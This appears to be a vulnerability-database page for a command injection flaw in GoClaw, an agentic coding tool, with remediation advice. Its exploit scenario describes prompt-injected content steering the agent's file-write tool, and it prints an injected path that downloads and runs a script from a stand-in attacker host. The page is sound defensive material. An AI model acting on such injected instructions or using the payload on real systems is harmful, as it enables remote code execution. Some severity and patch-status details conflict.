Skip to main content

GoClaw CVE-2026-10219

| EUVDEUVD-2026-33540 MEDIUM
OS Command Injection (CWE-78)
2026-06-01 VulDB GHSA-6jm8-4fhr-5w64
5.5
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Inject malicious path via agent input
  2. Delivery
    Agent invokes write_file tool
  3. Exploit
    FsBridge builds sh -c "cat > <path>"
  4. Execution
    Shell evaluates $(...) substitution
  5. Persist
    Arbitrary commands run in sandbox container
  6. Impact
    Pivot to mounted secrets or network

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the attacker can influence the path argument passed to GoClaw's write_file tool on a version up to 3.11.3 - typically by getting the agent to act on attacker-controlled instructions or content (prompt injection, malicious repository files, untrusted task input) such that a path string containing shell metacharacters like $(...) or backticks reaches FsBridge.WriteFile. No authentication to GoClaw itself is required by the CVSS vector (PR:N), but in practice an exploitation path through the LLM tool interface must exist and the write_file tool must be enabled in the agent configuration. Limiting factors: command execution is contained to the Docker sandbox container, so impact depends on what that container can reach (mounted volumes, network egress, secrets); deployments that disable write_file, run the sandbox as an unprivileged user with read-only mounts, or sanitize tool-argument paths upstream materially reduce realistic risk.

Impact

Signals are mixed and warrant prioritization above the raw CVSS number. The CVSS:3.1 vector AV:N/AC:L/PR:N/UI:N scores network-reachable, unauthenticated, low-complexity exploitation, but in practice GoClaw's write_file tool is exposed through an LLM-driven agent interface - so the realistic attack vector is an attacker who can influence the agent's tool inputs (e.g., via a prompt-injectable document, repository content, or chat input) rather than a raw internet listener; the scope is therefore unchanged (S:U) and impacts are bounded to the sandbox container (C:L/I:L/A:L). The temporal vector flags Exploit=Proof-of-concept and Report=Reasonable, matching the public exploit reference at GitHub issue #1121. This CVE is not on CISA KEV and no EPSS score was provided, so there is no signal of mass exploitation; however, publicly available exploit code exists, the patch PR is still unmerged, and the only mitigation barrier is a sandbox boundary the bug itself is designed to abuse. Net: treat as a real priority for any GoClaw deployment processing untrusted input, while recognizing exploitation is mediated by the agent rather than a direct network listener.

Exploit ScenarioDerived

An attacker seeds untrusted content the GoClaw agent will process - for example, a README, issue body, or chat message that instructs the agent to write a file at a path like nested/evil$(curl attacker.tld/x.sh|sh);name.txt. When the agent calls the write_file tool, FsBridge.WriteFile interpolates that path into sh -c "cat > <path>" inside the sandbox container, the shell evaluates the $(...) substitution, and arbitrary commands execute with the sandbox user's privileges. Public exploit code referenced from the VulDB entry demonstrates the technique, so weaponization cost is essentially zero.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.8% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 01, 2026

OS command injection in nextlevelbuilder GoClaw through version 3.11.3 allows remote attackers to execute arbitrary shell commands inside the sandbox container by supplying a crafted file path to the write_file tool. The flaw exists in FsBridge.WriteFile (internal/sandbox/fsbridge.go), which interpolated the destination path into a shell command (sh -c "cat > <path>") executed via docker exec, letting shell metacharacters such as $(...) break out of the intended write operation. Publicly available exploit code exists and the upstream patch is still pending merge at the time of analysis, raising real-world risk despite a moderate 7.3 CVSS.

RemediationAI

Upstream fix available (PR/commit); released patched version not independently confirmed - the fix is in https://github.com/nextlevelbuilder/goclaw/pull/1155, which replaces the sh -c "cat > <path>" invocation with a direct tee [-a] -- <resolved> argv call so paths are never reparsed by a shell, but the PR description notes it awaits acceptance and no tagged release beyond 3.11.3 is referenced in the input data. Until the PR is merged and a release ships, operators should pin to an internal build that applies the PR diff, or disable the write_file tool in the agent's tool registry if the workload can tolerate read-only operation (trade-off: the agent loses the ability to create or modify files in the sandbox). Additional compensating controls: refuse or sanitize any tool input where the path argument contains shell metacharacters ($, backtick, ;, &, |, newline) before it reaches FsBridge, and ensure the Docker sandbox runs with a non-root user, read-only host mounts, and no outbound network so that successful in-container command execution has the smallest possible blast radius. Monitor the upstream issue at https://github.com/nextlevelbuilder/goclaw/issues/1121 and PR https://github.com/nextlevelbuilder/goclaw/pull/1155 for release news.

Affected VersionsENISA

GoClaw 3.11.0
GoClaw 3.11.1
GoClaw 3.11.3
GoClaw 3.11.2

Affected Packages

go github.com/nextlevelbuilder/goclaw no fix
euvd goclaw no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

GoClaw is an agentic coding tool from nextlevelbuilder that brokers filesystem operations into a Docker sandbox through an FsBridge abstraction. The vulnerable WriteFile path used b.dockerExec(ctx, []byte(content), "sh", "-c", fmt.Sprintf("cat %s %q", redir, resolved)), invoking a shell inside the container with the resolved file path embedded as a %q-quoted token. While %q adds Go-style quoting, it does not neutralize POSIX shell command substitution constructs like $(...) and backticks, so any caller able to influence the target path could inject commands - the classic CWE-78 (Improper Neutralization of Special Elements used in an OS Command) failure. The fix in PR #1155 removes the shell entirely, switching to tee [-a] -- <path> invoked directly via argv so the path is a discrete argument and metacharacters are no longer interpreted by a shell. The single affected CPE is cpe:2.3:a:nextlevelbuilder:goclaw:*.

Know when Goclaw gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 5.5 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
SUSE HIGH

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
Jun 01, 2026 - 04:22 NVD
HIGH MEDIUM
CVSS changed
Jun 01, 2026 - 04:22 NVD
7.3 (HIGH) 5.5 (MEDIUM)

DescriptionCVE.org

A vulnerability was found in nextlevelbuilder GoClaw up to 3.11.3. This impacts the function FsBridge.WriteFile of the file internal/sandbox/fsbridge.go of the component write_file Tool. Performing a manipulation results in os command injection. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The pull request to fix this issue awaits acceptance.

Threat Intelligence Overview

EPSS Score
0.8%
Top 25% exploitable
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.8%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +28
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Related Vulnerabilities in GoClaw Privilege and Command Injection Flaws

View all 3

More in Goclaw

View all
CVE-2026-10617 MEDIUM POC
5.5 Jun 02

Missing authentication in GoClaw's Webhook Verification Handler allows unauthenticated remote attackers to interact with

CVE-2026-7505 MEDIUM POC
5.5 Apr 30

Improper authorization in the GoClaw and GoClaw Lite RPC gateway allows unauthenticated remote attackers to invoke privi

CVE-2026-16124 LOW POC
2.1 Jul 18

Server-side request forgery in GoClaw through 3.15.0-beta.32 allows authenticated remote attackers to bypass the SSRF bl

CVE-2026-15626 LOW POC
2.1 Jul 14

Path traversal in GoClaw 3.13.3-beta.3 allows authenticated remote attackers to read or write files outside the intended

CVE-2026-16119 LOW POC
2.1 Jul 18

Incorrect authorization in GoClaw's WebSocket Approval Endpoint allows low-privileged remote attackers to bypass access

CVE-2026-15625 LOW POC
2.1 Jul 14

GoClaw 3.11.3 by nextlevelbuilder exposes an incomplete blacklist bypass in the ExecApprovalManager.CheckCommand functio

CVE-2026-15627 LOW POC
2.1 Jul 14

Information disclosure in nextlevelbuilder GoClaw up to version 3.13.3-beta.3 allows remote low-privileged attackers to

CVE-2026-16120 LOW POC
2.1 Jul 18

Name resolution bypass in GoClaw's exec approval subsystem allows remote low-privileged attackers to circumvent the bina

CVE-2026-14716 LOW POC
2.1 Jul 05

Incorrect authorization in nextlevelbuilder GoClaw's WebSocket RPC Handler allows authenticated low-privilege remote att

CVE-2026-16199 LOW POC
2.1 Jul 19

Improper authorization in nextlevelbuilder GoClaw up to version 3.13.3-beta.3 allows low-privileged remote attackers to

CVE-2026-16123 LOW POC
2.1 Jul 18

Missing authorization on the Invoke Endpoint in nextlevelbuilder GoClaw up to version 3.13.2 allows low-privileged remot

CVE-2026-16121 LOW POC
2.1 Jul 18

Improper authorization in nextlevelbuilder GoClaw up to version 3.13.2 allows remote low-privilege authenticated attacke

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy